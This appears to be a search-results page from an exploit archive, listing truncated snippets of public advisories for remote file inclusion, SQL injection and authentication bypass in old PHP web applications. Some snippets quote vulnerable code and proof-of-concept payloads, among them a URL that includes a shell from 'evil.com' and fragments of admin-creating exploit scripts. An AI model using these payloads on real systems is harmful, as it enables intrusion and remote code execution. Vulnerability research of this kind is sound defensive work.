1407 matches found
aeDating 4.1 - dir[inc] Remote File Inclusion
aeDating 4.1 - dirinc Remote File Inclusion AEDating all versions Remote File inclusion. Vulnerable code: /inc/design.inc.php /inc/admindesign.inc.php requireonce "$dirincdb.inc.php" ; requireonce "$dirincprof.inc.php" ; Exploit:...
aeDating 4.1 - dir[inc] Remote File Inclusion
AEDating all versions Remote File inclusion. Vulnerable code: /inc/design.inc.php /inc/admindesign.inc.php requireonce "$dirincdb.inc.php" ; requireonce "$dirincprof.inc.php" ; Exploit: http://site.com/scriptpath/inc/design.inc.php?dirinc=http://evil.com/shell.txt?...
phpunity.txt
phpunity.postcard phpunity-postcard.php Remote File Inclusion Exploit Affected Software .: phpunity.postcard Vendor ............: http://www.perlunity.de/ Class .............: Remote File Inclusion Risk ..............: high Remote File Execution Found by ..........: Rivertam Contact ...........:...
phpunity.postcard (gallery_path) Remote File Include Vulnerability
No description provided by source. phpunity.postcard phpunity-postcard.php Remote File Inclusion Exploit Affected Software .: phpunity.postcard Vendor ............: http://www.perlunity.de/ Class .............: Remote File Inclusion Risk ..............: high Remote File Execution Found by...
phpBB XS 0.58 - functions.php Remote File Inclusion
phpBB XS 0.58 - functions.php Remote File Inclusion Author: AzzCoder Vendor: http://www.phpbbxs.eu/ Vulnerable File: includes/functions.php Vulnerable Code: //The phpbbrootpath isn't initialize includeonce $phpbbrootpath . './includes/functionscategorieshierarchy.' . $phpEx ; Method To Use:...
plume-1.0.6.txt
Plume CMS Multiple Remote File Include Vulnerabilities Vulnerable Versions: Plume CMS = 1.0.6 Vendor: Plume CMS http://plume-cms.net -Vulnerable Code include $PXconfig'managerpath'.'/directory/file.php'; -Files Affected ./articles.php ./categories.php ./index.php ./news.php ./prefs.php ./sites.ph...
iziContents-php.txt
!/usr/bin/php -q -d shortopentag=on include/rssfunctions.php line 32-40: .... $GLOBALS"rootdp" = './'; requireonce $GLOBALS"rootdp"."include/config.php"; requireonce $GLOBALS"rootdp"."include/db.php"; requireonce $GLOBALS"rootdp"."include/session.php"; includeonce...
CMS Frogss <= 0.4 (podpis) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ======================================================= CMS Frogss = 0.4 podpis Remote SQL Injection Exploit ======================================================= ?php echo "+"; echo "+\r\n"; echo "- - - DEVIL TEAM THE BEST POLISH TEAM -...
CMS Frogss 0.4 - 'podpis' SQL Injection
?php echo "+"; echo "+\r\n"; echo "- - - DEVIL TEAM THE BEST POLISH TEAM - -\r\n\r\n"; echo "+\r\n"; echo "+"\r\n"; echo "+\r\n\r\n"; echo "- CMS frogss = 0.4 podpis SQL Injection Exploit creat new admin"\r\n"; echo "+"\r\n"; echo "+"\r\n"; echo "+"\r\n"; echo "- Script name: CMS frogss...
CliServ Web Community <= 0.65 (cl_headers) Include Vulnerability
No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - CliServ Web Community = 0.65 clheaders Remote File Include Vulnerability + + + - Script name: CliServ Web Community v. 0.65 - Script site: http://sourceforge.net/projects/cliserv/ + + + - Find by: Kacper...
WEBInsta MM 1.3e - 'absolute_path' Remote File Inclusion
WEBInsta Mailing List Manager = 1.3e initdb.php Remote File Include Exploit function milw0rm if document.exploit.target.value=="" alert"Enter a Target"; return false; exploit.action= document.exploit.target.value; exploit.cmd.value=document.exploit.cmd.value;...
XMB 1.9.6 Final - 'basename()' Remote Command Execution
!/usr/bin/php -q -d shortopentag=on ? echo "XMB = 1.9.6 Final basename 'langfilenew' arbitrary local inclusion / remote commands xctn\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Powered by XMB"\n\n"; / works regardless of php.ini settings /...
SaveWebPortal 3.4 - 'page' Remote File Inclusion
-------------------------------------------- SaveWebPortal -------------------------------------------- to inject succesfully you have to create a file called shell.html.txt or shell.php.txt otherwise it wont work! -------------------------------------------- Affected File: index.php =...
SaveWebPortal 3.4 - page Remote File Inclusion
SaveWebPortal 3.4 - page Remote File Inclusion -------------------------------------------- SaveWebPortal -------------------------------------------- to inject succesfully you have to create a file called shell.html.txt or shell.php.txt otherwise it wont work!...
SaveWebPortal <= 3.4 (page) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =============================================================== SaveWebPortal -------------------------------------------- to inject succesfully you have to create a file called shell.html.txt or shell.php.txt otherwise it wont work!...
PHPMyRing <= 4.2.0 (view_com.php) Remote SQL Injection Exploit
No description provided by source. Title: PHPMyRing's viewcom.php Remote SQL injection Exploit Vendor: phpmyring webiste : http://phpmyring.sourceforge.net/ Version : = 4.2.0 Severity: Critical Discovered by: Simo64 simo64atmorxorg Exploit writting by: Simo Ben youssef simoatmorxorg Discovered: 0...
PHPCodeCabinet 0.5 - 'Core.php' Remote File Inclusion
From Minion: PHPCodeCabinet all versions is vulnerable to a remote file include. The vulnerable code is in /include/Beautifier/Core.php an $BEAUTPATH Was not properly scrubbed, so they got owned. Proof of concept:...
Simple CMS - Administrator Authentication Bypass
Simple CMS Information: The cms from http://www.cms-center.com/ uses no security at all, just a boolean "isloggedin". If you submit "loggedin=1" in the URL of any of the admin pages, you get full controll. Vulnerable code: if $loggedin != "1" header"Location: /login.php?e=1"; / Redirect browser /...
SendCard 3.4.0 - Unauthorized Administrative Access
SendCard 3.4.0 - Unauthorized Administrative Access !/usr/bin/php -q -d shortopentag=on php injection\n"; echo " works against magicquotesgpc=Off\n"; echo " 2 - arbitrary remote inclusion\n"; echo " works against allowurlfopen=On\n"; echo " 3 - arbitrary local inclusion\n"; echo " works regardles...
ATutor <= 1.5.3.1 (links) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================ ATutor = 4.1 allowing SELECT subqueries for ORDER BY statements see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html - with at least 2 links in atlinks table / if $argc5 ec...